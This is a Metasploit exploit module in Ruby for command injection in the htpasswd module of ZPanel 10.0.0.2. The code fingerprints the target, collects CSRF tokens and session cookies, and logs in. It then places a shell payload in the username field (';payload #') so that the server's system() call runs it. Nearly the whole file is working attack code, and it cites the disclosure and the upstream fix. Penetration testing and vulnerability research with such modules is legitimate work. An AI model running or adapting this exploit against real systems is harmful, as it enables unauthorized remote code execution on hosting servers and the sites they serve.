ZPanel 10.0.0.2 htpasswd Module Username Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",  
'Description' => %q{  
This module exploits a vulnerability found in ZPanel's htpasswd module. When  
creating .htaccess using the htpasswd module, the username field can be used to  
inject system commands, which is passed on to a system() function for executing  
the system's htpasswd's command.  
  
Please note: In order to use this module, you must have a valid account to login  
to ZPanel. An account part of any of the default groups should suffice, such as:  
Administrators, Resellers, or Users (Clients). By default, there's already a  
'zadmin' user, but the password is randomly generated.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'shachibista', # Original discovery  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
['OSVDB', '94038'],  
['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'],  
['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']  
],  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Targets' =>  
[  
[ 'ZPanel 10.0.0.2 on Linux', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jun 7 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate as']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
], self.class)  
end  
  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
  
def check  
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})  
if not res  
print_error("#{peer} - Connection timed out")  
return Exploit::CheckCode::Unknown  
end  
  
if res.body =~ /This server is running: ZPanel/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def login(base, token, cookie)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(base, 'index.php'),  
'cookie' => cookie,  
'vars_post' => {  
'inUsername' => datastore['USERNAME'],  
'inPassword' => datastore['PASSWORD'],  
'sublogin2' => 'LogIn',  
'csfr_token' => token  
}  
})  
  
if not res  
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out")  
elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/  
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")  
end  
  
res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''  
end  
  
  
def get_csfr_info(base, path='index.php', cookie='', vars={})  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(base),  
'cookie' => cookie,  
'vars_get' => vars  
})  
  
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res  
  
token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''  
sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''  
fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?  
  
return token, sid  
end  
  
  
def exec(base, token, sid, user_salt_cookie)  
fake_pass = Rex::Text.rand_text_alpha(5)  
cookie = "#{sid}; #{user_salt_cookie}"  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(base),  
'cookie' => cookie,  
'vars_get' => {  
'module' => 'htpasswd',  
'action' => 'CreateHTA'  
},  
'vars_post' => {  
'inAuthName' => 'Restricted+Area',  
'inHTUsername' => ";#{payload.encoded} #",  
'inHTPassword' => fake_pass,  
'inConfirmHTPassword' => fake_pass,  
'inPath' => '/',  
'csfr_token' => token  
}  
})  
end  
  
  
def exploit  
base = target_uri.path  
  
token, sid = get_csfr_info(base)  
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")  
  
user_salt_cookie = login(base, token, sid)  
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")  
  
vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'}  
cookie = "#{sid}; #{user_salt_cookie}"  
token = get_csfr_info(base, '', cookie, vars)[0]  
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")  
  
  
print_status("#{peer} - Executing payload...")  
exec(base, token, sid, user_salt_cookie)  
end  
  
end  
`